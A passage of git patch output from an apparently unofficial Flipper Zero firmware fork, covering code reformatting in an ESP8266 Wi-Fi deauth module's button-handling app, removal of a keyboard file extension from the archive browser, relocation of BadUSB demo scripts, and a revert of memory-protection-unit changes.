-379,18 +372,18 @@ int32_t esp8266_deauth_app(void* p) //app->m_notification = furi_record_open("notification"); - ViewPort* view_port = view_port_alloc(); + ViewPort* view_port = view_port_alloc(); view_port_draw_callback_set(view_port, esp8266_deauth_module_render_callback, &app_data_mutex); view_port_input_callback_set(view_port, esp8266_deauth_module_input_callback, event_queue); // Open GUI and register view_port - Gui* gui = furi_record_open("gui"); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); //notification_message(app->notification, &sequence_set_only_blue_255); // Enable uart listener -#if DISABLE_CONSOLE +#if DISABLE_CONSOLE furi_hal_console_disable(); #endif furi_hal_uart_set_br(FuriHalUartIdUSART1, FLIPPERZERO_SERIAL_BAUD); @@ -405,17 +398,14 @@ int32_t esp8266_deauth_app(void* p) furi_thread_start(app->m_worker_thread); DEAUTH_APP_LOG_I("UART thread allocated"); - SPluginEvent event; - for(bool processing = true; processing;) - { + SPluginEvent event; + for(bool processing = true; processing;) { FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); SWiFiDeauthApp* app = (SWiFiDeauthApp*)acquire_mutex_block(&app_data_mutex); #if ENABLE_MODULE_DETECTION - if(!app->m_wifiDeauthModuleAttached) - { - if(furi_hal_gpio_read(&gpio_ext_pc0) == false) - { + if(!app->m_wifiDeauthModuleAttached) { + if(furi_hal_gpio_read(&gpio_ext_pc0) == false) { DEAUTH_APP_LOG_I("Module Attached"); app->m_wifiDeauthModuleAttached = true; #if ENABLE_MODULE_POWER @@ -428,94 +418,69 @@ int32_t esp8266_deauth_app(void* p) } #endif // ENABLE_MODULE_DETECTION - if(event_status == FuriStatusOk) - { - if(event.m_type == EventTypeKey) - { - if (app->m_wifiDeauthModuleInitialized) - { - if (app->m_context == ModuleActive) - { - switch (event.m_input.key) - { - case InputKeyUp: - if (event.m_input.type == InputTypePress) - { - DEAUTH_APP_LOG_I("Up Press"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, false); - } - else if (event.m_input.type == InputTypeRelease) - { - DEAUTH_APP_LOG_I("Up Release"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, true); - } - break; - case InputKeyDown: - if (event.m_input.type == InputTypePress) - { - DEAUTH_APP_LOG_I("Down Press"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, false); - } - else if (event.m_input.type == InputTypeRelease) - { - DEAUTH_APP_LOG_I("Down Release"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, true); - } - break; - case InputKeyOk: - if (event.m_input.type == InputTypePress) - { - DEAUTH_APP_LOG_I("OK Press"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, false); - } - else if (event.m_input.type == InputTypeRelease) - { - DEAUTH_APP_LOG_I("OK Release"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, true); - } - break; - case InputKeyBack: - if (event.m_input.type == InputTypePress) - { - DEAUTH_APP_LOG_I("Back Press"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, false); - } - else if (event.m_input.type == InputTypeRelease) - { - DEAUTH_APP_LOG_I("Back Release"); - furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, true); - } - else if (event.m_input.type == InputTypeLong) - { - DEAUTH_APP_LOG_I("Back Long"); - processing = false; - } - break; - default: - break; + if(event_status == FuriStatusOk) { + if(event.m_type == EventTypeKey) { + if(app->m_wifiDeauthModuleInitialized) { + if(app->m_context == ModuleActive) { + switch(event.m_input.key) { + case InputKeyUp: + if(event.m_input.type == InputTypePress) { + DEAUTH_APP_LOG_I("Up Press"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, false); + } else if(event.m_input.type == InputTypeRelease) { + DEAUTH_APP_LOG_I("Up Release"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, true); + } + break; + case InputKeyDown: + if(event.m_input.type == InputTypePress) { + DEAUTH_APP_LOG_I("Down Press"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, false); + } else if(event.m_input.type == InputTypeRelease) { + DEAUTH_APP_LOG_I("Down Release"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, true); + } + break; + case InputKeyOk: + if(event.m_input.type == InputTypePress) { + DEAUTH_APP_LOG_I("OK Press"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, false); + } else if(event.m_input.type == InputTypeRelease) { + DEAUTH_APP_LOG_I("OK Release"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, true); + } + break; + case InputKeyBack: + if(event.m_input.type == InputTypePress) { + DEAUTH_APP_LOG_I("Back Press"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, false); + } else if(event.m_input.type == InputTypeRelease) { + DEAUTH_APP_LOG_I("Back Release"); + furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, true); + } else if(event.m_input.type == InputTypeLong) { + DEAUTH_APP_LOG_I("Back Long"); + processing = false; + } + break; + default: + break; } } - } - else - { - if(event.m_input.key == InputKeyBack) - { - if(event.m_input.type == InputTypeShort || event.m_input.type == InputTypeLong) - { + } else { + if(event.m_input.key == InputKeyBack) { + if(event.m_input.type == InputTypeShort || + event.m_input.type == InputTypeLong) { processing = false; } } } - } - } - else - { + } + } else { DEAUTH_APP_LOG_D("osMessageQueue: event timeout"); } #if ENABLE_MODULE_DETECTION - if(app->m_wifiDeauthModuleAttached && furi_hal_gpio_read(&gpio_ext_pc0) == true) - { + if(app->m_wifiDeauthModuleAttached && furi_hal_gpio_read(&gpio_ext_pc0) == true) { DEAUTH_APP_LOG_D("Module Disconnected - Exit"); processing = false; app->m_wifiDeauthModuleAttached = false; @@ -552,14 +517,12 @@ int32_t esp8266_deauth_app(void* p) view_port_free(view_port); - furi_message_queue_free(event_queue); + furi_message_queue_free(event_queue); vStreamBufferDelete(app->m_rx_stream); delete_mutex(&app_data_mutex); - - // Free rest free(app); diff --git a/applications/tetris_game/tetris_game.c b/applications/tetris_game/tetris_game.c index cca568aa8..c4a9b13d6 100644 --- a/applications/tetris_game/tetris_game.c +++ b/applications/tetris_game/tetris_game.c @@ -136,7 +136,7 @@ static void tetris_game_render_callback(Canvas* const canvas, void* ctx) { if(tetris_state->gameState == GameStatePlaying) { char buffer2[6]; snprintf(buffer2, sizeof(buffer2), "%u", tetris_state->numLines); - canvas_draw_str_aligned(canvas, 58,10, AlignRight, AlignBottom, buffer2); + canvas_draw_str_aligned(canvas, 58, 10, AlignRight, AlignBottom, buffer2); } if(tetris_state->gameState == GameStateGameOver) { From db5c232f5032baa4fb653d46c240212883c00947 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 3 Aug 2022 23:58:15 +0300 Subject: [PATCH 435/461] rm kl extension in archive app and move scripts back --- applications/archive/helpers/archive_browser.h | 1 - applications/archive/helpers/archive_files.h | 1 - applications/archive/views/archive_browser_view.c | 1 - assets/resources/badusb/{scripts => }/demo_macos.txt | 0 assets/resources/badusb/{scripts => }/demo_windows.txt | 0 5 files changed, 3 deletions(-) rename assets/resources/badusb/{scripts => }/demo_macos.txt (100%) rename assets/resources/badusb/{scripts => }/demo_windows.txt (100%) diff --git a/applications/archive/helpers/archive_browser.h b/applications/archive/helpers/archive_browser.h index 0f8130c40..d6c79817a 100644 --- a/applications/archive/helpers/archive_browser.h +++ b/applications/archive/helpers/archive_browser.h @@ -26,7 +26,6 @@ static const char* known_ext[] = { [ArchiveFileTypeLFRFID] = ".rfid", [ArchiveFileTypeInfrared] = ".ir", [ArchiveFileTypeBadUsb] = ".txt", - [ArchiveFileTypeKeyboard] = ".kl", [ArchiveFileTypeU2f] = "?", [ArchiveFileTypeUpdateManifest] = ".fuf", [ArchiveFileTypeFolder] = "?", diff --git a/applications/archive/helpers/archive_files.h b/applications/archive/helpers/archive_files.h index cb65f8fdc..84b7e24a6 100644 --- a/applications/archive/helpers/archive_files.h +++ b/applications/archive/helpers/archive_files.h @@ -16,7 +16,6 @@ typedef enum { ArchiveFileTypeFolder, ArchiveFileTypeUnknown, ArchiveFileTypeLoading, - ArchiveFileTypeKeyboard, } ArchiveFileTypeEnum; typedef struct { diff --git a/applications/archive/views/archive_browser_view.c b/applications/archive/views/archive_browser_view.c index 43d53539d..810d5c8f7 100644 --- a/applications/archive/views/archive_browser_view.c +++ b/applications/archive/views/archive_browser_view.c @@ -29,7 +29,6 @@ static const Icon* ArchiveItemIcons[] = { [ArchiveFileTypeFolder] = &I_dir_10px, [ArchiveFileTypeUnknown] = &I_unknown_10px, [ArchiveFileTypeLoading] = &I_loading_10px, - [ArchiveFileTypeKeyboard] = &I_keyboard_10px, }; void archive_browser_set_callback( diff --git a/assets/resources/badusb/scripts/demo_macos.txt b/assets/resources/badusb/demo_macos.txt similarity index 100% rename from assets/resources/badusb/scripts/demo_macos.txt rename to assets/resources/badusb/demo_macos.txt diff --git a/assets/resources/badusb/scripts/demo_windows.txt b/assets/resources/badusb/demo_windows.txt similarity index 100% rename from assets/resources/badusb/scripts/demo_windows.txt rename to assets/resources/badusb/demo_windows.txt From 43345ba0bb8a3d83d5abe6ad830106872111af8e Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 4 Aug 2022 05:02:23 +0300 Subject: [PATCH 436/461] Revert "MPU Hal (#1492)" This reverts commit eed4296890f7bb24c0b7f7627e9fcbcc695dd10a. --- .../archive/scenes/archive_scene_rename.c | 2 +- applications/bad_usb/bad_usb_app.c | 3 +- applications/bad_usb/bad_usb_app_i.h | 1 + applications/bt/bt_service/bt.c | 3 +- .../animations/views/bubble_animation_view.c | 25 +++--- .../desktop_settings/desktop_settings_app.c | 2 +- applications/gui/modules/button_menu.c | 20 ++--- applications/gui/modules/text_input.c | 2 +- applications/gui/modules/validators.h | 2 +- applications/ibutton/ibutton.c | 2 +- applications/infrared/infrared.c | 2 +- applications/input/input.c | 3 +- applications/lfrfid/lfrfid_app.cpp | 2 +- applications/music_player/music_player.c | 2 +- applications/nfc/nfc.c | 2 +- applications/power/power_service/power.c | 2 +- .../power_settings_app/power_settings_app.c | 2 +- applications/rpc/rpc_system.c | 4 - .../subghz/scenes/subghz_scene_save_name.c | 4 +- applications/subghz/subghz.c | 2 +- applications/unit_tests/rpc/rpc_test.c | 13 ++- applications/updater/updater.c | 2 +- firmware/targets/f7/Inc/FreeRTOSConfig.h | 6 +- firmware/targets/f7/furi_hal/furi_hal.c | 13 ++- .../targets/f7/furi_hal/furi_hal_interrupt.c | 19 ---- firmware/targets/f7/furi_hal/furi_hal_mpu.c | 66 -------------- .../targets/furi_hal_include/furi_hal_mpu.h | 86 ------------------- furi/core/memmgr.c | 6 +- furi/core/thread.c | 2 +- 29 files changed, 62 insertions(+), 238 deletions(-) delete mode 100644 firmware/targets/f7/furi_hal/furi_hal_mpu.c delete mode 100644 firmware/targets/furi_hal_include/furi_hal_mpu.h diff --git a/applications/archive/scenes/archive_scene_rename.c b/applications/archive/scenes/archive_scene_rename.c index 293fa89af..2a85f3ceb 100644 --- a/applications/archive/scenes/archive_scene_rename.c +++ b/applications/archive/scenes/archive_scene_rename.c @@ -37,7 +37,7 @@ void archive_scene_rename_on_enter(void* context) { false); ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - string_get_cstr(archive->browser->path), archive->file_extension, ""); + string_get_cstr(archive->browser->path), archive->file_extension, NULL); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); string_clear(filename); diff --git a/applications/bad_usb/bad_usb_app.c b/applications/bad_usb/bad_usb_app.c index 9fa824dc8..3eb86abf0 100644 --- a/applications/bad_usb/bad_usb_app.c +++ b/applications/bad_usb/bad_usb_app.c @@ -59,7 +59,7 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { string_init(app->file_path); string_init(app->keyboard_layout); - if(arg && strlen(arg)) { + if(arg != NULL) { string_set_str(app->file_path, arg); } @@ -121,6 +121,7 @@ void bad_usb_app_free(BadUsbApp* app) { } // Views + view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewFileSelect); view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewWork); view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewConfigLayout); bad_usb_free(app->bad_usb_view); diff --git a/applications/bad_usb/bad_usb_app_i.h b/applications/bad_usb/bad_usb_app_i.h index 9be27e2d7..78cf2871d 100644 --- a/applications/bad_usb/bad_usb_app_i.h +++ b/applications/bad_usb/bad_usb_app_i.h @@ -43,6 +43,7 @@ struct BadUsbApp { typedef enum { BadUsbAppViewError, + BadUsbAppViewFileSelect, BadUsbAppViewWork, BadUsbAppViewConfig, BadUsbAppViewConfigLayout, diff --git a/applications/bt/bt_service/bt.c b/applications/bt/bt_service/bt.c index bc80acc15..6f0810dd9 100644 --- a/applications/bt/bt_service/bt.c +++ b/applications/bt/bt_service/bt.c @@ -347,8 +347,7 @@ static void bt_close_connection(Bt* bt) { furi_event_flag_set(bt->api_event, BT_API_UNLOCK_EVENT); } -int32_t bt_srv(void* p) { - UNUSED(p); +int32_t bt_srv() { Bt* bt = bt_alloc(); if(furi_hal_rtc_get_boot_mode() != FuriHalRtcBootModeNormal) { diff --git a/applications/desktop/animations/views/bubble_animation_view.c b/applications/desktop/animations/views/bubble_animation_view.c index 607862d11..54a686fb1 100644 --- a/applications/desktop/animations/views/bubble_animation_view.c +++ b/applications/desktop/animations/views/bubble_animation_view.c @@ -143,7 +143,7 @@ static void bubble_animation_activate(BubbleAnimationView* view, bool force) { furi_assert(view); bool activate = true; BubbleAnimationViewModel* model = view_get_model(view->view); - if(model->current == NULL) { + if(!model->current) { activate = false; } else if(model->freeze_frame) { activate = false; @@ -151,16 +151,14 @@ static void bubble_animation_activate(BubbleAnimationView* view, bool force) { activate = false; } - if(model->current != NULL) { - if(!force) { - if((model->active_ended_at + model->current->active_cooldown * 1000) > - xTaskGetTickCount()) { - activate = false; - } else if(model->active_shift) { - activate = false; - } else if(model->current_frame >= model->current->passive_frames) { - activate = false; - } + if(!force) { + if((model->active_ended_at + model->current->active_cooldown * 1000) > + xTaskGetTickCount()) { + activate = false; + } else if(model->active_shift) { + activate = false; + } else if(model->current_frame >= model->current->passive_frames) { + activate = false; } } view_commit_model(view->view, false); @@ -290,10 +288,7 @@ static void bubble_animation_enter(void* context) { bubble_animation_activate(view, false); BubbleAnimationViewModel* model = view_get_model(view->view); - uint8_t frame_rate = 0; - if(model->current != NULL) { - frame_rate = model->current->icon_animation.frame_rate; - } + uint8_t frame_rate = model->current->icon_animation.frame_rate; view_commit_model(view->view, false); if(frame_rate) { diff --git a/applications/desktop/desktop_settings/desktop_settings_app.c b/applications/desktop/desktop_settings/desktop_settings_app.c index 89513a8b8..bc41be6e7 100644 --- a/applications/desktop/desktop_settings/desktop_settings_app.c +++ b/applications/desktop/desktop_settings/desktop_settings_app.c @@ -90,7 +90,7 @@ void desktop_settings_app_free(DesktopSettingsApp* app) { extern int32_t desktop_settings_app(void* p) { DesktopSettingsApp* app = desktop_settings_app_alloc(); LOAD_DESKTOP_SETTINGS(&app->settings); - if(p && (strcmp(p, DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG) == 0)) { + if(!strcmp(p, DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG)) { scene_manager_next_scene(app->scene_manager, DesktopSettingsAppScenePinSetupHowto); } else { scene_manager_next_scene(app->scene_manager, DesktopSettingsAppSceneStart); diff --git a/applications/gui/modules/button_menu.c b/applications/gui/modules/button_menu.c index 84fea7888..36fd6f3ab 100644 --- a/applications/gui/modules/button_menu.c +++ b/applications/gui/modules/button_menu.c @@ -185,19 +185,17 @@ static void button_menu_process_ok(ButtonMenu* button_menu, InputType type) { return false; }); - if(item) { - if(item->type == ButtonMenuItemTypeControl) { - if(type == InputTypeShort) { - if(item && item->callback) { - item->callback(item->callback_context, item->index, type); - } + if(item->type == ButtonMenuItemTypeControl) { + if(type == InputTypeShort) { + if(item && item->callback) { + item->callback(item->callback_context, item->index, type); } } - if(item->type == ButtonMenuItemTypeCommon) { - if((type == InputTypePress) || (type == InputTypeRelease)) { - if(item && item->callback) { - item->callback(item->callback_context, item->index, type); - } + } + if(item->type == ButtonMenuItemTypeCommon) { + if((type == InputTypePress) || (type == InputTypeRelease)) { + if(item && item->callback) { + item->callback(item->callback_context, item->index, type); } } } diff --git a/applications/gui/modules/text_input.c b/applications/gui/modules/text_input.c index c043c3c3c..5aa101bb4 100644 --- a/applications/gui/modules/text_input.c +++ b/applications/gui/modules/text_input.c @@ -147,7 +147,7 @@ static void text_input_backspace_cb(TextInputModel* model) { static void text_input_view_draw_callback(Canvas* canvas, void* _model) { TextInputModel* model = _model; - uint8_t text_length = model->text_buffer ? strlen(model->text_buffer) : 0; + uint8_t text_length = strlen(model->text_buffer); uint8_t needed_string_width = canvas_width(canvas) - 8; uint8_t start_pos = 4; diff --git a/applications/gui/modules/validators.h b/applications/gui/modules/validators.h index c4c4ef54c..15dbe901f 100644 --- a/applications/gui/modules/validators.h +++ b/applications/gui/modules/validators.h @@ -1,7 +1,7 @@ #pragma once +// #include #include -#include #ifdef __cplusplus extern "C" { diff --git a/applications/ibutton/ibutton.c b/applications/ibutton/ibutton.c index 6f690fce7..5ccb1f6c8 100644 --- a/applications/ibutton/ibutton.c +++ b/applications/ibutton/ibutton.c @@ -353,7 +353,7 @@ int32_t ibutton_app(void* p) { bool key_loaded = false; bool rpc_mode = false; - if(p && strlen(p)) { + if(p) { uint32_t rpc_ctx = 0; if(sscanf(p, "RPC %lX", &rpc_ctx) == 1) { FURI_LOG_D(TAG, "Running in RPC mode"); diff --git a/applications/infrared/infrared.c b/applications/infrared/infrared.c index ddeaeecf3..cbbd375d5 100644 --- a/applications/infrared/infrared.c +++ b/applications/infrared/infrared.c @@ -405,7 +405,7 @@ int32_t infrared_app(void* p) { bool is_remote_loaded = false; bool is_rpc_mode = false; - if(p && strlen(p)) { + if(p) { uint32_t rpc_ctx = 0; if(sscanf(p, "RPC %lX", &rpc_ctx) == 1) { infrared->rpc_ctx = (void*)rpc_ctx; diff --git a/applications/input/input.c b/applications/input/input.c index 7b8433aef..27e7bf21c 100644 --- a/applications/input/input.c +++ b/applications/input/input.c @@ -64,8 +64,7 @@ const char* input_get_type_name(InputType type) { return "Unknown"; } -int32_t input_srv(void* p) { - UNUSED(p); +int32_t input_srv() { input = malloc(sizeof(Input)); input->thread_id = furi_thread_get_current_id(); input->event_pubsub = furi_pubsub_alloc(); diff --git a/applications/lfrfid/lfrfid_app.cpp b/applications/lfrfid/lfrfid_app.cpp index 5b762ae1d..29e99b74f 100644 --- a/applications/lfrfid/lfrfid_app.cpp +++ b/applications/lfrfid/lfrfid_app.cpp @@ -74,7 +74,7 @@ void LfRfidApp::run(void* _args) { make_app_folder(); - if(args && strlen(args)) { + if(strlen(args)) { uint32_t rpc_ctx_ptr = 0; if(sscanf(args, "RPC %lX", &rpc_ctx_ptr) == 1) { rpc_ctx = (RpcAppSystem*)rpc_ctx_ptr; diff --git a/applications/music_player/music_player.c b/applications/music_player/music_player.c index 073b9d00f..b788361af 100644 --- a/applications/music_player/music_player.c +++ b/applications/music_player/music_player.c @@ -300,7 +300,7 @@ int32_t music_player_app(void* p) { string_init(file_path); do { - if(p && strlen(p)) { + if(p) { string_cat_str(file_path, p); } else { string_set_str(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); diff --git a/applications/nfc/nfc.c b/applications/nfc/nfc.c index 93645cc13..32e74e8f2 100644 --- a/applications/nfc/nfc.c +++ b/applications/nfc/nfc.c @@ -238,7 +238,7 @@ int32_t nfc_app(void* p) { char* args = p; // Check argument and run corresponding scene - if(args && strlen(args)) { + if((*args != '\0')) { nfc_device_set_loading_callback(nfc->dev, nfc_show_loading_popup, nfc); uint32_t rpc_ctx = 0; if(sscanf(p, "RPC %lX", &rpc_ctx) == 1) { diff --git a/applications/power/power_service/power.c b/applications/power/power_service/power.c index 9036ae1ce..ac68bfd7d 100644 --- a/applications/power/power_service/power.c +++ b/applications/power/power_service/power.c @@ -200,7 +200,7 @@ static void power_check_battery_level_change(Power* power) { } int32_t power_srv(void* p) { - UNUSED(p); + (void)p; Power* power = power_alloc(); power_update_info(power); furi_record_create(RECORD_POWER, power); diff --git a/applications/power/power_settings_app/power_settings_app.c b/applications/power/power_settings_app/power_settings_app.c index b01f32f75..92c63704c 100644 --- a/applications/power/power_settings_app/power_settings_app.c +++ b/applications/power/power_settings_app/power_settings_app.c @@ -76,7 +76,7 @@ void power_settings_app_free(PowerSettingsApp* app) { int32_t power_settings_app(void* p) { uint32_t first_scene = PowerSettingsAppSceneStart; - if(p && strlen(p) && !strcmp(p, "off")) { + if(p && !strcmp(p, "off")) { first_scene = PowerSettingsAppScenePowerOff; } PowerSettingsApp* app = power_settings_app_alloc(first_scene); diff --git a/applications/rpc/rpc_system.c b/applications/rpc/rpc_system.c index 0538aa64d..38a288285 100644 --- a/applications/rpc/rpc_system.c +++ b/applications/rpc/rpc_system.c @@ -78,8 +78,6 @@ static void rpc_system_system_device_info_callback( furi_assert(value); RpcSystemContext* ctx = context; - furi_assert(key); - furi_assert(value); char* str_key = strdup(key); char* str_value = strdup(value); @@ -234,8 +232,6 @@ static void rpc_system_system_power_info_callback( furi_assert(value); RpcSystemContext* ctx = context; - furi_assert(key); - furi_assert(value); char* str_key = strdup(key); char* str_value = strdup(value); diff --git a/applications/subghz/scenes/subghz_scene_save_name.c b/applications/subghz/scenes/subghz_scene_save_name.c index 662ff3d69..488ebeb28 100644 --- a/applications/subghz/scenes/subghz_scene_save_name.c +++ b/applications/subghz/scenes/subghz_scene_save_name.c @@ -59,8 +59,8 @@ void subghz_scene_save_name_on_enter(void* context) { MAX_TEXT_INPUT_LEN, // buffer size dev_name_empty); - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(string_get_cstr(subghz->file_path), SUBGHZ_APP_EXTENSION, ""); + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( + string_get_cstr(subghz->file_path), SUBGHZ_APP_EXTENSION, NULL); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); string_clear(file_name); diff --git a/applications/subghz/subghz.c b/applications/subghz/subghz.c index 851035083..a84367625 100644 --- a/applications/subghz/subghz.c +++ b/applications/subghz/subghz.c @@ -331,7 +331,7 @@ int32_t subghz_app(void* p) { subghz_environment_load_keystore( subghz->txrx->environment, EXT_PATH("subghz/assets/keeloq_mfcodes_user")); // Check argument and run corresponding scene - if(p && strlen(p)) { + if(p) { uint32_t rpc_ctx = 0; if(sscanf(p, "RPC %lX", &rpc_ctx) == 1) { subghz->rpc_ctx = (void*)rpc_ctx; diff --git a/applications/unit_tests/rpc/rpc_test.c b/applications/unit_tests/rpc/rpc_test.c index d31311af6..5a172d073 100644 --- a/applications/unit_tests/rpc/rpc_test.c +++ b/applications/unit_tests/rpc/rpc_test.c @@ -421,12 +421,10 @@ static void mu_check(result_msg_file->size == expected_msg_file->size); mu_check(result_msg_file->type == expected_msg_file->type); - if(result_msg_file->data && result_msg_file->type != PB_Storage_File_FileType_DIR) { - mu_check(!result_msg_file->data == !expected_msg_file->data); // Zlo: WTF??? - mu_check(result_msg_file->data->size == expected_msg_file->data->size); - for(int i = 0; i < result_msg_file->data->size; ++i) { - mu_check(result_msg_file->data->bytes[i] == expected_msg_file->data->bytes[i]); - } + mu_check(!result_msg_file->data == !expected_msg_file->data); + mu_check(result_msg_file->data->size == expected_msg_file->data->size); + for(int i = 0; i < result_msg_file->data->size; ++i) { + mu_check(result_msg_file->data->bytes[i] == expected_msg_file->data->bytes[i]); } } @@ -1349,7 +1347,8 @@ static void test_rpc_storage_rename_run( } MU_TEST(test_storage_rename) { - test_rpc_storage_rename_run("", "", ++command_id, PB_CommandStatus_ERROR_STORAGE_INVALID_NAME); + test_rpc_storage_rename_run( + NULL, NULL, ++command_id, PB_CommandStatus_ERROR_STORAGE_INVALID_NAME); furi_check(!test_is_exists(TEST_DIR "empty.txt")); test_create_file(TEST_DIR "empty.txt", 0); diff --git a/applications/updater/updater.c b/applications/updater/updater.c index e9bedc72e..daba9eafd 100644 --- a/applications/updater/updater.c +++ b/applications/updater/updater.c @@ -34,7 +34,7 @@ static void Updater* updater_alloc(const char* arg) { Updater* updater = malloc(sizeof(Updater)); - if(arg && strlen(arg)) { + if(arg) { string_init_set_str(updater->startup_arg, arg); string_replace_str(updater->startup_arg, ANY_PATH(""), EXT_PATH("")); } else { diff --git a/firmware/targets/f7/Inc/FreeRTOSConfig.h b/firmware/targets/f7/Inc/FreeRTOSConfig.h index f54d774ca..4f9d1fcf9 100644 --- a/firmware/targets/f7/Inc/FreeRTOSConfig.h +++ b/firmware/targets/f7/Inc/FreeRTOSConfig.h @@ -32,7 +32,7 @@ extern uint32_t SystemCoreClock; #define configUSE_16_BIT_TICKS 0 #define configUSE_MUTEXES 1 #define configQUEUE_REGISTRY_SIZE 0 -#define configCHECK_FOR_STACK_OVERFLOW 0 +#define configCHECK_FOR_STACK_OVERFLOW 2 #define configUSE_RECURSIVE_MUTEXES 1 #define configUSE_COUNTING_SEMAPHORES 1 #define configENABLE_BACKWARD_COMPATIBILITY 0 @@ -145,7 +145,3 @@ standard names. */ #define USE_CUSTOM_SYSTICK_HANDLER_IMPLEMENTATION 1 #define configOVERRIDE_DEFAULT_TICK_CONFIGURATION \ 1 /* required only for Keil but does not hurt otherwise */ - -#define traceTASK_SWITCHED_IN() \ - extern void furi_hal_mpu_set_stack_protection(uint32_t* stack); \ - furi_hal_mpu_set_stack_protection((uint32_t*)pxCurrentTCB->pxStack) diff --git a/firmware/targets/f7/furi_hal/furi_hal.c b/firmware/targets/f7/furi_hal/furi_hal.c index 23f409736..0cef33ddf 100644 --- a/firmware/targets/f7/furi_hal/furi_hal.c +++ b/firmware/targets/f7/furi_hal/furi_hal.c @@ -1,5 +1,4 @@ #include -#include #include @@ -36,7 +35,6 @@ void furi_hal_deinit_early() { } void furi_hal_init() { - furi_hal_mpu_init(); furi_hal_clock_init(); furi_hal_console_init(); furi_hal_rtc_init(); @@ -82,6 +80,17 @@ void furi_hal_init() { // FatFS driver initialization MX_FATFS_Init(); FURI_LOG_I(TAG, "FATFS OK"); + + // Partial null pointer dereference protection + LL_MPU_Disable(); + LL_MPU_ConfigRegion( + LL_MPU_REGION_NUMBER0, + 0x00, + 0x0, + LL_MPU_REGION_SIZE_1MB | LL_MPU_REGION_PRIV_RO_URO | LL_MPU_ACCESS_BUFFERABLE | + LL_MPU_ACCESS_CACHEABLE | LL_MPU_ACCESS_SHAREABLE | LL_MPU_TEX_LEVEL1 | + LL_MPU_INSTRUCTION_ACCESS_ENABLE); + LL_MPU_Enable(LL_MPU_CTRL_PRIVILEGED_DEFAULT); } void furi_hal_switch(void* address) { diff --git a/firmware/targets/f7/furi_hal/furi_hal_interrupt.c b/firmware/targets/f7/furi_hal/furi_hal_interrupt.c index 038ae9489..fa595921a 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_interrupt.c +++ b/firmware/targets/f7/furi_hal/furi_hal_interrupt.c @@ -6,7 +6,6 @@ #include #include #include -#include #define TAG "FuriHalInterrupt" @@ -96,10 +95,6 @@ void furi_hal_interrupt_init() { LL_SYSCFG_DisableIT_FPU_IDC(); LL_SYSCFG_DisableIT_FPU_IXC(); - LL_HANDLER_EnableFault(LL_HANDLER_FAULT_USG); - LL_HANDLER_EnableFault(LL_HANDLER_FAULT_BUS); - LL_HANDLER_EnableFault(LL_HANDLER_FAULT_MEM); - FURI_LOG_I(TAG, "Init OK"); } @@ -246,20 +241,6 @@ void HardFault_Handler() { } void MemManage_Handler() { - if(FURI_BIT(SCB->CFSR, SCB_CFSR_MMARVALID_Pos)) { - uint32_t memfault_address = SCB->MMFAR; - if(memfault_address < (1024 * 1024)) { - // from 0x00 to 1MB, see FuriHalMpuRegionNULL - furi_crash("NULL pointer dereference"); - } else { - // write or read of MPU region 1 (FuriHalMpuRegionStack) - furi_crash("MPU fault, possibly stack overflow"); - } - } else if(FURI_BIT(SCB->CFSR, SCB_CFSR_MSTKERR_Pos)) { - // push to stack on MPU region 1 (FuriHalMpuRegionStack) - furi_crash("MemManage fault, possibly stack overflow"); - } - furi_crash("MemManage"); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_mpu.c b/firmware/targets/f7/furi_hal/furi_hal_mpu.c deleted file mode 100644 index ea6cd55be..000000000 --- a/firmware/targets/f7/furi_hal/furi_hal_mpu.c +++ /dev/null @@ -1,66 +0,0 @@ -#include -#include - -#define FURI_HAL_MPU_ATTRIBUTES \ - (LL_MPU_ACCESS_BUFFERABLE | LL_MPU_ACCESS_CACHEABLE | LL_MPU_ACCESS_SHAREABLE | \ - LL_MPU_TEX_LEVEL1 | LL_MPU_INSTRUCTION_ACCESS_ENABLE) - -#define FURI_HAL_MPU_STACK_PROTECT_REGION FuriHalMPURegionSize32B - -void furi_hal_mpu_init() { - furi_hal_mpu_enable(); - - // NULL pointer dereference protection - furi_hal_mpu_protect_no_access(FuriHalMpuRegionNULL, 0x00, FuriHalMPURegionSize1MB); -} - -void furi_hal_mpu_enable() { - LL_MPU_Enable(LL_MPU_CTRL_PRIVILEGED_DEFAULT); -} - -void furi_hal_mpu_disable() { - LL_MPU_Disable(); -} - -void furi_hal_mpu_protect_no_access( - FuriHalMpuRegion region, - uint32_t address, - FuriHalMPURegionSize size) { - uint32_t size_ll = size; - size_ll = size_ll << MPU_RASR_SIZE_Pos; - - furi_hal_mpu_disable(); - LL_MPU_ConfigRegion( - region, 0x00, address, FURI_HAL_MPU_ATTRIBUTES | LL_MPU_REGION_NO_ACCESS | size_ll); - furi_hal_mpu_enable(); -} - 